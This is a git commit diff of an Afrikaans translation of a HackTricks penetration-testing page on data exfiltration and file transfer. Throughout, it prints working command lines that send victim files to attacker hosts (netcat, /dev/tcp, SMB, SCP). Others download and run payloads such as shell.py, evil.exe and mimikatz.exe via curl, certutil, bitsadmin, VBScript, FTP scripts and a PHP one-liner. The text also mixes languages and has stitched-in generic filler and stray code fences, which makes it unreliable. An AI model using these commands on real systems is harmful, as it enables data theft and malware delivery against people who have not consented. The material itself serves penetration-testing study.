Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene

This commit is contained in:
Translator 2024-03-09 13:33:16 +00:00
parent 7003117206
commit 2bdd62405d
18 changed files with 699 additions and 1944 deletions

View file

@ -1,4 +1,4 @@
# Uitleiding
# Uitlekking
<details>
@ -6,23 +6,15 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Gewoonlik toegelate domeine om inligting uit te voer
## Gewoonlik toegelate domeine om inligting uit te lek
Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik toegelate domeine te vind wat misbruik kan word
@ -34,60 +26,11 @@ base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Windows**
# Exfiltration
## Introduction
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of hacking, exfiltration is often used to steal sensitive information or to maintain persistence within a compromised network.
## Techniques
### 1. File Transfer Protocol (FTP)
FTP is a standard network protocol used for transferring files between a client and a server. Attackers can use FTP to exfiltrate data by connecting to an FTP server and uploading the stolen files.
### 2. Hypertext Transfer Protocol (HTTP)
HTTP is the protocol used for transmitting data over the internet. Attackers can use HTTP to exfiltrate data by sending HTTP requests to a remote server, either by embedding the data in the request or by uploading files.
### 3. Domain Name System (DNS)
DNS is responsible for translating domain names into IP addresses. Attackers can use DNS exfiltration to encode and send data within DNS queries or responses, bypassing traditional network security measures.
### 4. Email
Attackers can exfiltrate data by sending it as email attachments or by using steganography techniques to hide the data within the email content.
### 5. Cloud Storage
Attackers can use cloud storage services, such as Dropbox or Google Drive, to exfiltrate data by uploading the stolen files to the cloud and accessing them from a different location.
### 6. Remote Desktop Protocol (RDP)
RDP allows users to connect to and control a remote computer over a network connection. Attackers can use RDP to exfiltrate data by transferring files from the compromised system to the attacker's machine.
### 7. USB Devices
Attackers can physically connect USB devices to a target system to exfiltrate data. This can be done by copying files directly to the USB device or by using specialized tools that automatically exfiltrate data when the device is connected.
## Countermeasures
To prevent exfiltration attacks, organizations should implement the following countermeasures:
- Implement network segmentation to restrict unauthorized access to sensitive data.
- Use encryption to protect data in transit.
- Monitor network traffic for suspicious activity.
- Implement data loss prevention (DLP) solutions to detect and prevent unauthorized data transfers.
- Regularly update and patch software to address known vulnerabilities.
- Educate employees about the risks of exfiltration and the importance of following security best practices.
By implementing these countermeasures, organizations can significantly reduce the risk of data exfiltration and protect their sensitive information.
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
### HTTP
## HTTP
**Linux**
```bash
@ -97,54 +40,6 @@ curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Windows**
# Exfiltration
## Introduction
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of hacking, exfiltration is often used to steal sensitive information or to maintain persistence within a compromised network.
## Techniques
### 1. File Transfer Protocol (FTP)
FTP is a standard network protocol used for transferring files between a client and a server. Attackers can use FTP to exfiltrate data by connecting to an FTP server and uploading the stolen files.
### 2. Hypertext Transfer Protocol (HTTP)
HTTP is the protocol used for transmitting data over the internet. Attackers can use HTTP to exfiltrate data by sending HTTP requests to a remote server, either by embedding the data in the request or by uploading files.
### 3. Domain Name System (DNS)
DNS is responsible for translating domain names into IP addresses. Attackers can use DNS exfiltration to encode and send data within DNS queries or responses, bypassing traditional network security measures.
### 4. Email
Attackers can exfiltrate data by sending it as email attachments or by using steganography techniques to hide the data within the email content.
### 5. Cloud Storage
Attackers can use cloud storage services, such as Dropbox or Google Drive, to exfiltrate data by uploading the stolen files to the cloud and accessing them from a different location.
### 6. Remote Desktop Protocol (RDP)
RDP allows users to connect to and control a remote computer over a network connection. Attackers can use RDP to exfiltrate data by transferring files from the compromised system to the attacker's machine.
### 7. USB Devices
Attackers can physically connect USB devices to a target system to exfiltrate data. This can be done by copying files directly to the USB device or by using specialized tools to extract data from the system.
## Countermeasures
To prevent exfiltration attacks, organizations can implement the following countermeasures:
- Implement network segmentation to restrict access between different parts of the network.
- Use data loss prevention (DLP) solutions to monitor and control the flow of sensitive data.
- Employ intrusion detection and prevention systems (IDS/IPS) to detect and block exfiltration attempts.
- Regularly update and patch software to fix vulnerabilities that could be exploited for exfiltration.
- Train employees on security best practices and the risks associated with exfiltration.
By implementing these countermeasures, organizations can significantly reduce the risk of data exfiltration and protect their sensitive information.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -162,8 +57,8 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Laai lêers op
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer druk GET en POSTs (ook koppe)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python-module [uploadserver](https://pypi.org/project/uploadserver/):
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python module [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
@ -177,8 +72,6 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS-bediener**
'n HTTPS-bediener is 'n bediener wat gebruik maak van die HTTPS-protokol vir veilige kommunikasie. Dit maak gebruik van SSL/TLS-sertifikate om die kommunikasie tussen die bediener en die kliënt te versleutel en te verseker dat die data veilig oorgedra word. 'n HTTPS-bediener word dikwels gebruik vir die hantering van sensitiewe inligting, soos persoonlike besonderhede, finansiële transaksies en ander vertroulike data. Dit is belangrik om 'n veilige en betroubare HTTPS-bediener te hê om die risiko van datalekke en aanvalle te verminder.
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -222,152 +115,16 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
## FTP
### FTP-bediener (python)
```python
import socket
import os
def send_file(file_path, host, port):
# Verbind met die bediener
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Stuur die lêerinhoud na die bediener
with open(file_path, 'rb') as file:
data = file.read(1024)
while data:
s.send(data)
data = file.read(1024)
# Sluit die verbinding
s.close()
def receive_file(file_path, host, port):
# Luister vir inkomende verbindings
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
# Aanvaar die verbindin
conn, addr = s.accept()
# Ontvang die lêerinhoud van die kliënt
with open(file_path, 'wb') as file:
data = conn.recv(1024)
while data:
file.write(data)
data = conn.recv(1024)
# Sluit die verbinding
conn.close()
s.close()
```
Hierdie kode demonstreer hoe om 'n eenvoudige FTP-bediener in Python te skep. Die `send_file`-funksie stuur 'n lêer na die bediener, terwyl die `receive_file`-funksie 'n lêer van die bediener ontvang.
Om 'n lêer na die bediener te stuur, moet jy die `send_file`-funksie oproep en die volledige pad na die lêer, die bediener se IP-adres en die poortnommer as argumente verskaf. Byvoorbeeld:
```python
send_file('/pad/na/lêer.txt', '192.168.0.100', 21)
```
Om 'n lêer van die bediener te ontvang, moet jy die `receive_file`-funksie oproep en die volledige pad na die lêer, die IP-adres van die bediener en die poortnommer as argumente verskaf. Byvoorbeeld:
```python
receive_file('/pad/na/lêer.txt', '192.168.0.100', 21)
```
Merk op dat jy die poortnommer moet spesifiseer wat deur die FTP-bediener gebruik word. Die standaardpoort vir FTP is 21.
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP-bediener (NodeJS)
Hierdie gedeelte beskryf 'n metode om data uit te voer deur gebruik te maak van 'n FTP-bediener wat in NodeJS geïmplementeer is.
#### Stap 1: Installeer die nodige afhanklikhede
Om die FTP-bediener in NodeJS te gebruik, moet jy die nodige afhanklikhede installeer. Voer die volgende opdrag in die opdraglyn uit:
```bash
npm install ftp
```
#### Stap 2: Skryf die kode
Maak 'n nuwe JavaScript-lêer en voeg die volgende kode daarby:
```javascript
const ftp = require('ftp');
// Verbind met die FTP-bediener
const client = new ftp();
client.connect({
host: 'ftp.example.com',
user: 'username',
password: 'password'
});
// Wanneer die verbinding suksesvol is
client.on('ready', () => {
// Laai die lêer op na die bediener
client.put('local_file.txt', 'remote_file.txt', (err) => {
if (err) throw err;
console.log('Lêer suksesvol opgelaai na die bediener');
client.end(); // Sluit die verbinding
});
});
```
#### Stap 3: Voer die kode uit
Voer die volgende opdrag in die opdraglyn uit om die kode uit te voer:
```bash
node filename.js
```
Vervang `filename.js` met die naam van jou JavaScript-lêer.
Die kode sal die lêer `local_file.txt` na die FTP-bediener oplaai as `remote_file.txt`. As die operasie suksesvol is, sal die boodskap "Lêer suksesvol opgelaai na die bediener" gedruk word.
Dit is 'n eenvoudige manier om data uit te voer deur gebruik te maak van 'n FTP-bediener in NodeJS. Onthou om die nodige veiligheidsmaatreëls te tref om ongemagtigde toegang tot die bediener te voorkom.
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP-bediener (pure-ftp)
#### Inleiding
FTP (File Transfer Protocol) is 'n protokol wat gebruik word vir die oordrag van lêers tussen rekenaars op 'n netwerk. Dit maak gebruik van 'n bediener-kliënt-arkitektuur, waar die bediener die lêers hou en die kliënt die lêers kan aflaai of oplaai.
#### Pure-FTP
Pure-FTP is 'n vinnige en veilige FTP-bedieningsagteware wat gebruik kan word om 'n FTP-bediener op te stel. Dit is 'n gewilde keuse vir die opstel van 'n privaat of openbare FTP-bediener.
#### Uitfiltering van data
Die uitfiltering van data van 'n FTP-bediener kan 'n nuttige tegniek wees vir die verkryging van gevoelige inligting. Hier is 'n paar metodes wat gebruik kan word om data uit te filter:
1. **Lêeroplaaiing**: Deur 'n kwaadwillige lêer op die FTP-bediener op te laai, kan 'n aanvaller toegang verkry tot die bediener en die inhoud daarvan ondersoek.
2. **Lêeraflaaiing**: Deur 'n lêer van die FTP-bediener af te laai, kan 'n aanvaller gevoelige inligting verkry wat op die bediener gestoor word.
3. **Lêeruitvoering**: As die FTP-bediener die uitvoering van lêers toelaat, kan 'n aanvaller 'n kwaadwillige lêer op die bediener plaas en dit uitvoer om toegang tot die bediener te verkry.
#### Voorkoming van data-uitfiltering
Om die risiko van data-uitfiltering van 'n FTP-bediener te verminder, kan die volgende maatreëls geneem word:
1. **Sterk wagwoorde**: Stel sterk wagwoorde in vir die FTP-bediener en vermy die gebruik van maklik raadbare wagwoorde.
2. **Toegangsbeheer**: Beperk die toegang tot die FTP-bediener deur slegs geakkrediteerde gebruikers toe te laat.
3. **Versleuteling**: Gebruik versleuteling om die oordrag van data tussen die kliënt en die bediener te beskerm.
4. **Besoekbeperkings**: Beperk die toegang tot die FTP-bediener deur slegs spesifieke IP-adresse toe te laat.
5. **Opdaterings en patches**: Verseker dat die FTP-bedieningsagteware opgedateer word met die nuutste opdaterings en patches om bekende kwesbaarhede te vermy.
#### Gevolgtrekking
Die uitfiltering van data van 'n FTP-bediener kan 'n effektiewe tegniek wees vir die verkryging van gevoelige inligting. Dit is belangrik om die nodige maatreëls te tref om die risiko van data-uitfiltering te verminder en die veiligheid van die FTP-bediener te verseker.
```bash
apt-get update && apt-get install pure-ftp
```
@ -396,14 +153,6 @@ echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe bedreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB
Kali as bediener
@ -413,7 +162,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Of skep 'n smb-deel **deur samba te gebruik**:
Of skep 'n smb-aandeel **met behulp van samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -428,48 +177,19 @@ guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltrasie
### Exfiltration
## Inleiding
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
Exfiltrasie is die proses waardeur 'n aanvaller gesteelde data uit 'n teikenstelsel verwyder en oordra na 'n eksterne bediener of stoorplek. Hierdie tegniek word dikwels gebruik deur aanvallers om gevoelige inligting te ontvreem, soos kredietkaartbesonderhede, wagwoorde, persoonlike inligting en vertroulike dokumente.
- **Email**: Sending data as email attachments.
- **FTP**: Transferring data using the File Transfer Protocol.
- **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
- **DNS**: Encoding data within DNS queries.
- **Steganography**: Hiding data within images or other files.
- **Cloud Storage**: Uploading data to cloud storage services.
- **Physical Media**: Copying data to removable media like USB drives.
## Metodes van Exfiltrasie
### 1. Bestandsoordrag
Hierdie metode behels die oordra van gesteelde data deur dit in 'n bestand te verpak en dit dan oor te dra na 'n eksterne bediener. Dit kan gedoen word deur gebruik te maak van protokolle soos HTTP, FTP, SMB of SMTP.
### 2. Versteekte data in beeldlêers
Aanvallers kan data versteek in beeldlêers deur dit te versluier en dan as 'n normale beeldlêer te laat voorkom. Hierdie metode maak gebruik van steganografie, wat die kunst is om data te versteek binne 'n ander tipe lêer sonder om die oorspronklike lêer te beskadig.
### 3. Gebruik van DNS
Aanvallers kan DNS-kanale gebruik om gesteelde data te exfiltreer. Hierdie metode behels die gebruik van DNS-navrae om data te verpak en oor te dra na 'n eksterne bediener. Dit kan gedoen word deur die DNS-navrae te manipuleer en die gesteelde data as deel van die DNS-navrae te versluier.
### 4. Gebruik van uitvoerbare lêers
Aanvallers kan gesteelde data in 'n uitvoerbare lêer insluit en dit dan oor te dra na 'n eksterne bediener. Hierdie metode maak gebruik van die uitvoerbare lêer se funksionaliteit om die gesteelde data te verpak en oor te dra.
### 5. Gebruik van e-pos
Aanvallers kan gesteelde data as 'n e-posaanhangsel stuur na 'n eksterne e-posrekening. Hierdie metode maak gebruik van die e-posprotokol om die gesteelde data te verpak en oor te dra.
## Voorkoming van Exfiltrasie
Om exfiltrasie te voorkom, kan die volgende maatreëls geneem word:
- Monitor die netwerkverkeer vir verdagte aktiwiteit en ongewone data-oordragte.
- Beperk die toegang tot gevoelige data en stel streng toegangsbeheerbeleide in.
- Implementeer 'n firewall en gebruik netwerksegmentering om die verspreiding van gesteelde data te beperk.
- Verseker dat alle sagteware en bedryfstelsels opgedateer word met die nuutste beveiligingspatches.
- Stel 'n sterk wagwoordbeleid in en moedig gebruikers aan om unieke en veilige wagwoorde te gebruik.
- Bewusmaking van gebruikers oor die risiko's van phishing-aanvalle en die deel van persoonlike inligting.
## Slotwoord
Exfiltrasie is 'n kritieke bedreiging vir die veiligheid van data en moet ernstig opgeneem word. Deur bewus te wees van die verskillende metodes van exfiltrasie en deur die nodige voorkomingsmaatreëls te tref, kan organisasies hulself beskerm teen hierdie aanvalstegniek.
Exfiltration can be a critical phase in an attack, as it allows threat actors to steal valuable information from the target system. It is essential for defenders to monitor and control outbound network traffic to detect and prevent exfiltration attempts.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -479,13 +199,13 @@ WindPS-2> cd new_disk:
```
## SCP
Die aanvaller moet SSHd laat loop.
Die aanvaller moet SSHd aan die gang hê.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
As die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller se rekenaar koppel.
Indien die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller se stelsel koppel.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -493,73 +213,37 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
NC (Netcat) is a versatile networking utility that can be used for various purposes, including exfiltration of data. It allows for easy creation of TCP or UDP connections between two machines, making it a useful tool for transferring data from a compromised system to an external server.
### Netcat
To exfiltrate data using NC, you can follow these steps:
Netcat is a versatile networking utility that can be used for various purposes, including transferring files between systems. It can be used to create a simple backdoor on a target system to exfiltrate data.
1. Set up a listener on the external server using the following command:
```
nc -l -p <port> > <output_file>
```
Replace `<port>` with the desired port number and `<output_file>` with the name of the file where the data will be saved.
#### Usage
2. On the compromised system, use the following command to send the data to the external server:
```
nc <server_ip> <port> < <input_file>
```
Replace `<server_ip>` with the IP address of the external server, `<port>` with the same port number used in the listener, and `<input_file>` with the name of the file containing the data to be exfiltrated.
To exfiltrate data using Netcat, you can set up a listener on the attacker machine and send data from the target machine to the listener. Here's an example:
3. Once the command is executed, the data will be transferred from the compromised system to the external server and saved in the specified output file.
On the attacker machine:
```bash
nc -lvp 1234 > received_data.txt
```
NC can also be used in combination with other tools and techniques to enhance exfiltration capabilities. For example, you can compress the data before sending it using NC, or encrypt it to ensure confidentiality during transit.
On the target machine:
```bash
nc <attacker_ip> 1234 < sensitive_data.txt
```
It is important to note that exfiltration of data without proper authorization is illegal and unethical. This information is provided for educational purposes only, and should not be used for any malicious activities.
In this example, Netcat is used to send the contents of `sensitive_data.txt` from the target machine to the attacker machine, where it is saved as `received_data.txt`.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Laai lêer af van slagoffer
Om 'n lêer van die slagoffer se stelsel af te laai, kan jy die `/dev/tcp`-benadering gebruik. Hier is die sintaksis:
```bash
cat < /dev/tcp/<IP>/<port> > <destination_file>
```
Vervang `<IP>` met die IP-adres van die slagoffer se stelsel en `<port>` met die poortnommer waarop die lêer beskikbaar is. Vervang ook `<destination_file>` met die pad en naam van die lêer waarin jy die aflaai wil stoor.
Hier is 'n voorbeeld van hoe jy dit kan gebruik:
```bash
cat < /dev/tcp/192.168.0.100/8080 > /tmp/secret_file.txt
```
Hierdie opdrag sal die lêer `secret_file.txt` aflaai vanaf die stelsel met die IP-adres `192.168.0.100` op poort `8080` en dit stoor in die `/tmp`-gids.
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Laai lêer op na slagoffer
Om 'n lêer na 'n slagoffer te laai, kan jy die volgende metodes gebruik:
#### 1. HTTP-aanvraag
Jy kan 'n HTTP-aanvraag stuur om die lêer na die slagoffer se bediener te stuur. Dit kan gedoen word deur die `POST`-metode te gebruik en die lêer as 'n vormdata te stuur. Die slagoffer se bediener moet die lêer aanvaar en stoor op 'n plek waar jy toegang daartoe het.
#### 2. E-pos
Jy kan die lêer as 'n aanhangsel in 'n e-pos stuur na 'n e-posadres wat deur die slagoffer gebruik word. Die slagoffer moet die e-pos ontvang en die aanhangsel aflaai. Dit vereis dat jy toegang het tot die slagoffer se e-posrekening of 'n manier het om die e-pos te onderskep.
#### 3. Bestandsoordragprotokolle
As jy toegang het tot die slagoffer se rekenaar of netwerk, kan jy gebruik maak van bestandsoordragprotokolle soos FTP, SFTP, SCP of SMB om die lêer na 'n plek te stuur waar jy toegang daartoe het. Hierdie metode vereis dat jy toegang het tot die slagoffer se rekenaar of netwerk en dat die nodige protokolle geïnstalleer en gekonfigureer is.
#### 4. Cloud-gebaseerde dienste
As die slagoffer gebruik maak van 'n wolkgebaseerde diens soos Google Drive, Dropbox of OneDrive, kan jy die lêer na die slagoffer se rekening oplaai. Dit vereis dat jy toegang het tot die slagoffer se rekening of 'n manier het om die toegangslegitimasie te bekom.
Onthou, die laai van 'n lêer na 'n slagoffer se stelsel sonder hul toestemming is onwettig en word as 'n aanval beskou. Wees verantwoordelik en gebruik hierdie tegnieke slegs binne die raamwerk van wettige toetse of met toestemming van die eienaar van die stelsel.
### Laai lêer na slagoffer op
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
@ -594,7 +278,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Standaard in XP en 2003 (in ander moet dit eksplisiet bygevoeg word tydens installasie)
Standaard in XP en 2003 (in ander moet dit uitdruklik tydens installasie bygevoeg word)
In Kali, **begin TFTP-bediener**:
```bash
@ -604,62 +288,6 @@ atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP-bediener in Python:**
Hier is 'n eenvoudige implementering van 'n TFTP-bediener in Python. Hierdie kode kan gebruik word om 'n TFTP-bediener te skep wat bestandsoordragte kan hanteer.
```python
import socket
import struct
def tftp_server():
# Skep 'n UDP-socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('0.0.0.0', 69))
print("TFTP-bediener is gereed om versoek te ontvang...")
while True:
# Ontvang die versoek en die klient se adres
data, client_address = server_socket.recvfrom(516)
# Haal die opcode uit die ontvangsdata
opcode = struct.unpack('!H', data[:2])[0]
# Kontroleer of dit 'n leesversoek is
if opcode == 1:
# Stuur die gewenste lêer terug na die klient
file_data = b'\x00\x03\x00\x01'
server_socket.sendto(file_data, client_address)
# Kontroleer of dit 'n skryfversoek is
elif opcode == 2:
# Ontvang die lêer van die klient
file_data, client_address = server_socket.recvfrom(516)
# Stoor die ontvangsdata in 'n lêer
with open('ontvangs.lêer', 'wb') as file:
file.write(file_data[4:])
# Bevestig die suksesvolle ontvangs aan die klient
ack_packet = b'\x00\x04\x00\x00'
server_socket.sendto(ack_packet, client_address)
# Kontroleer of dit 'n onbekende versoek is
else:
# Stuur 'n foute-pakket terug na die klient
error_packet = b'\x00\x05\x00\x04Unknown request\x00'
server_socket.sendto(error_packet, client_address)
# Sluit die bediener se socket
server_socket.close()
# Begin die TFTP-bediener
tftp_server()
```
Hierdie kode skep 'n UDP-socket en bind dit aan poort 69. Dit wag dan vir TFTP-versoeke van kliente. As 'n leesversoek ontvang word, stuur die bediener die gewenste lêer terug na die klient. As 'n skryfversoek ontvang word, ontvang die bediener die lêer van die klient en stoor dit in 'n lêer genaamd "ontvangs.lêer". As 'n onbekende versoek ontvang word, stuur die bediener 'n foute-pakket terug na die klient.
Hierdie kode kan as 'n basis dien vir 'n eie TFTP-bediener-implementering in Python.
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
@ -670,82 +298,13 @@ tftp -i <KALI-IP> get nc.exe
```
## PHP
Laai 'n lêer af met 'n PHP eenregtelik:
Laai 'n lêer af met 'n PHP eenlynige kode:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
VBScript (Visual Basic Scripting Edition) is a scripting language developed by Microsoft. It is often used for automating tasks and creating dynamic web pages. VBScript is commonly used in Windows environments and can be executed using the Windows Script Host (WSH).
### Basic Syntax
VBScript code is written in plain text and saved with a .vbs file extension. Here is an example of a basic VBScript program:
```vbs
MsgBox "Hello, World!"
```
This code will display a message box with the text "Hello, World!" when executed.
### Variables
In VBScript, variables are used to store data. They can be declared using the `Dim` keyword. Here is an example:
```vbs
Dim name
name = "John"
```
In this example, a variable named `name` is declared and assigned the value "John".
### Control Structures
VBScript supports various control structures, such as `If...Then...Else`, `For...Next`, and `Do...Loop`. These structures allow you to control the flow of your program based on certain conditions. Here is an example of an `If...Then...Else` statement:
```vbs
Dim age
age = 18
If age >= 18 Then
MsgBox "You are an adult."
Else
MsgBox "You are a minor."
End If
```
This code will display a message box based on the value of the `age` variable.
### Functions
VBScript provides built-in functions that can be used to perform various operations. For example, the `MsgBox` function is used to display a message box. Here is an example:
```vbs
MsgBox "Hello, World!"
```
This code will display a message box with the text "Hello, World!".
### File Operations
VBScript can also be used to perform file operations, such as reading from and writing to files. The `FileSystemObject` is used to interact with files and folders. Here is an example of reading from a file:
```vbs
Dim fso, file, text
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile("C:\path\to\file.txt", 1)
text = file.ReadAll
file.Close
MsgBox text
```
This code will read the contents of the file "C:\path\to\file.txt" and display it in a message box.
### Conclusion
VBScript is a powerful scripting language that can be used for various tasks, including automation and web development. It provides a wide range of features and built-in functions that make it a versatile choice for Windows environments.
VBScript is 'n skripsie taal wat deur Microsoft ontwikkel is en dikwels gebruik word vir Windows-gebaseerde skripsies en automatiseringstake. VBScript kan gebruik word vir die uitvoer van data exfiltration deur die gebruik van HTTP-aanvrae na 'n eksterne bediener. Hierdie tegniek kan gebruik word om gesteelde data na 'n aanvaller se beheerde bediener te stuur.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -783,13 +342,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Die `debug.exe` program maak dit nie net moontlik om binêre lêers te ondersoek nie, maar het ook die **vermoë om hulle te herbou vanaf heks**. Dit beteken dat deur 'n heks van 'n binêre lêer te voorsien, `debug.exe` die binêre lêer kan genereer. Dit is egter belangrik om daarop te let dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte saam te stel**.
Die `debug.exe` program bied nie net die vermoë om binêre lêers te inspekteer nie, maar het ook die **vermoë om hulle vanaf heks te herbou**. Dit beteken dat deur 'n heks van 'n binêre lêer te voorsien, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om daarop te let dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte saam te stel**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Kopieer en plak dan die teks in die Windows-skulp en 'n lêer genaamd nc.exe sal geskep word.
```afrikaans
Kopieer en plak dan die teks in die Windows-skootrekenaar en 'n lêer genaamd nc.exe sal geskep word.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -797,23 +357,17 @@ Kopieer en plak dan die teks in die Windows-skulp en 'n lêer genaamd nc.exe sal
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
